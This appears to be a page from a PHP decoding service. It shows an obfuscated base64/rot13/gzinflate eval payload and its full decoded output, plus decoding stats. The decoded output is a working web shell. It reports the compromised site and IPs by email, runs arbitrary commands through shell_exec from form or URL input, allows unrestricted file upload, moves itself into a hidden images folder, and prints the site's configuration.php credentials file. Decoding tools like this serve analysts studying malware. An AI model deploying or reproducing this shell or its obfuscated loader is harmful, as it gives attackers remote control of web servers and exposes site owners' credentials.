Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(str_rot13(base64_decode("rUl\x36\x51\x74tVE\x5058V\x660\x50m71Va\x55e..

Decoded Output download

error_reporting(0);
if (!isset($_SESSION['bajak']))	{
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject 
$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj
$security
IP Server = $serper
 IP Injector= $injektor");
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/images/stories/food/footer.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF";}
else {$security= "SAFE_MODE : ON";}
echo "<title>Pagat - Shell</title><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\')){
if($u!=strlen($cwd)-1){
return $cwd.'\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="Crotz"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload Bos !!"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload GAGAL!!!";
} else { echo "Upload Success to ".$uploaddir.$name." :P "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
elseif(isset($_GET['rf'])){
$rf = file_get_contents("../../configuration.php");
echo $rf;
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}

Did this file decode correctly?

Original Code

<?php eval(gzinflate(str_rot13(base64_decode("rUl\x36\x51\x74tVE\x5058V\x660\x50m71Va\x55ewd\x6bI\x6e\x53IBE\x4b\x52i\x49\x521U\x75\x44v\x63Fk\x4c\x57\x78N\x38\x6d\x32ttfaX\x56\x42G\x31P9+M3\x677L4\x56l\x74\x48\x65EiD\x32\x76zz\x77zOx\x75\x75lEe\x784qV\x48UxQz\x61\x72e3/\x33dYW\x59\x6e\x62\x45U\x31\x6d\x34\x32\x6ejKIy\x69/uD\x79\x32pmw\x51\x75y\x7aZ\x74v\x72/fH\x77d6t7J7\x51\x77\x69\x61w\x4bU\x41\x4b\x79\x43\x30Hd\x65z6B\x56Gc\x59/R\x75O\x72\x75n5\x61\x7ay\x4d\x7a\x77f\x52\x6dN6\x69\x54RSf\x4etS\x6a8\x4a+\x72\x4dBr\x48SqN+\x65\x6a\x43\x52\x36Q\x49s\x4bF\x67\x5a\x54LB\x76\x558C\x44\x4a\x34b\x63\x46\x42\x67a/\x53mad\x6a\x62l+WH\x4bwf\x539\x4bF\x45\x38A\x35QOC\x75\x4ecp\x74x\x4d\x34l8a9s\x68\x51\x53\x76O\x6bR\x63\x49sI\x48\x78\x6eZxr\x47F\x34OT\x45\x41IM\x51U\x4c\x70/rd\x4bWz\x7a\x54/Bm\x72\x57D\x43yqbkquQ\x6fg4\x31x3\x4d0wULOfusi\x4b\x6e/o\x36\x50QUFT\x51E\x5a\x47M/9\x35pI\x49gP2U\x61\x68Re\x44\x5aL\x6a\x6d\x6cDO\x52u\x54SpZ\x5aG\x6b\x37\x33\x5445\x69U\x79\x709\x75E\x54Y\x62\x6f\x4ej1\x30\x54XH\x6b\x417a\x44FX\x46h\x57\x62nn+y1U\x77E\x6cb\x78\x6cr\x52H\x35\x4b\x49q\x7auOA\x42\x720N\x77UB\x64\x74\x39FKx\x57I\x57\x34\x7a\x55In\x37\x557\x71a7K\x35I\x65\x54\x4cx+\x65tk\x52R\x72cdmb\x4e\x6a\x66\x4f\x30k\x6dSw4j\x67\x74\x42i\x35a\x56V/ht/5\x33oa\x39Q\x66j\x75\x50\x54/\x73f\x77\x38u\x67\x69\x5a+\x77\x4d\x70Fwb\x54oK\x561\x63\x6e\x67+Oo\x69v\x42\x7aHo\x38\x46\x677\x4ext1\x42c5m\x32T\x74e\x49\x41\x73\x34Hs\x71\x63\x6f\x72/\x44Ep\x65\x4fS9\x6bURS\x76\x4f\x616\x54YZM6d6+\x75\x34\x6a\x66\x4f\x7a96\x4c5nSv\x6e\x68\x38wV+\x61S0\x41\x4d\x6a\x57\x63Y\x50h3\x6e\x47\x44Nk\x68\x30\x5a\x78\x302Y\x46\x66C\x778\x6d\x36h\x41Ld\x53y\x6e\x45g6X\x46l\x39\x738J\x59\x6bM\x6f\x4e\x68/\x66n\x4f\x66sD\x77k\x47\x33LZx498C\x64Y\x35\x794\x49\x34w\x71a\x48\x55O\x58\x62UNd\x44AK\x67x\x45u\x68\x32/\x4e1\x376\x555r\x73A\x428Eo\x69D\x58mkfA\x47\x50\x45\x476\x5aw\x71\x4e\x78t\x6b\x58\x4fvkquw2\x31\x45P\x75wb\x4a\x4bT\x59\x79b\x69\x79X\x65\x786\x68\x70l\x4aU\x6d+\x45LFVsD\x38\x6b\x49zk\x6cl\x6e9b\x6eK\x305EP\x59\x6e\x64Kt\x42T\x71UV3\x46/X\x62ju/\x59TrSq\x44uo\x79X\x6btI\x59\x75cN\x4b\x68Q3l\x53\x6fIVz\x77\x77YZ\x766\x73\x43a\x33R\x747In1dkZvM\x7aO\x63D6x1a\x61\x55\x56\x57Z\x415S\x70nO\x53\x34P\x6f\x44\x70Ie\x35\x47w\x69wHAaWH\x7a\x78\x4etLP\x4fc\x46X\x5aY4\x49Eo\x79\x73\x6fQ\x73\x79\x68s\x51A\x33/by\x68Oj\x67O\x615C\x6ed1\x46P\x56\x4aB\x63rfR2H\x6bj\x75W\x53P\x42+rKT5C\x68\x34+bz\x74n\x39jex\x5a\x58WR\x44Z\x4a\x4b\x6d\x52\x45\x6cR\x73ba7\x61\x54M\x73\x42Z7\x57xDW8\x7a\x39\x53X\x4a\x57\x5acSk\x35\x46\x52m\x33hf\x68\x31/\x61i\x65\x75\x56\x56\x47\x58j\x52r\x61I1+\x772\x41\x4b/o\x30\x61\x70xNf\x64\x70\x50\x7a\x58\x52\x33\x74T\x42SX/N\x35\x747\x35\x46\x6fEH\x6a\x78\x6bc/a+\x38\x33\x66W\x706\x43\x33+MD\x4a\x56\x62GtA\x34M22Oo\x54j\x59\x36\x4f\x6a\x46\x59\x61\x5a\x75\x43P1\x56aO\x70\x30\x4e\x6ctd\x70\x4c\x42Jq\x37dQ\x782i\x31\x62\x54M\x64\x484LovS\x6f\x65\x68\x30\x37Vj\x54\x5a\x38GFT\x67\x39\x534X\x64\x79\x72\x69\x47o3\x69n\x63\x73\x61\x35\x42\x54\x744c\x51\x63y\x6c\x32\x6f\x38\x72\x71\x50\x7a\x4e\x46\x4dD\x39\x31\x59Xk5\x64k7QZbao\x6e\x47\x733Ya\x4dL8l\x46El\x62\x4c5SGq7\x4f\x6as6O\x50H\x57AL\x51g6p\x31zHZ\x73Ii\x71JOFNEw\x4di\x37/uAsM\x662\x68\x6f\x54\x75k\x32\x4c\x324\x442iuZ\x6e/l\x6eQ4\x4cpa\x30U\x35\x6d\x6e\x39\x76\x4a3Nl\x79\x70+\x50\x6fo/d\x57O0q7\x39\x77\x4e7\x57\x75P\x4a\x77/oU\x6eLl\x4fy\x43\x366e\x4a\x68\x399\x36c\x61W\x32bx\x46\x38\x78U\x452\x57\x42L\x4bX\x34V\x67vwpD\x48\x66\x61\x54\x30NG\x41\x49D\x74iu0lA9\x35j\x79X\x574\x5ajwf/\x75B9\x4b\x6eOVb\x32va7c3\x63\x65AGC5/ovC\x76I\x4c\x71\x4a1Zk\x35\x32MO\x55IC/\x778\x3d"))));

Function Calls

gzinflate 1
str_rot13 1
base64_decode 1

Variables

None

Stats

MD5 8064c91379854ff01aaa717eede98e15
Eval Count 1
Decode Time 112 ms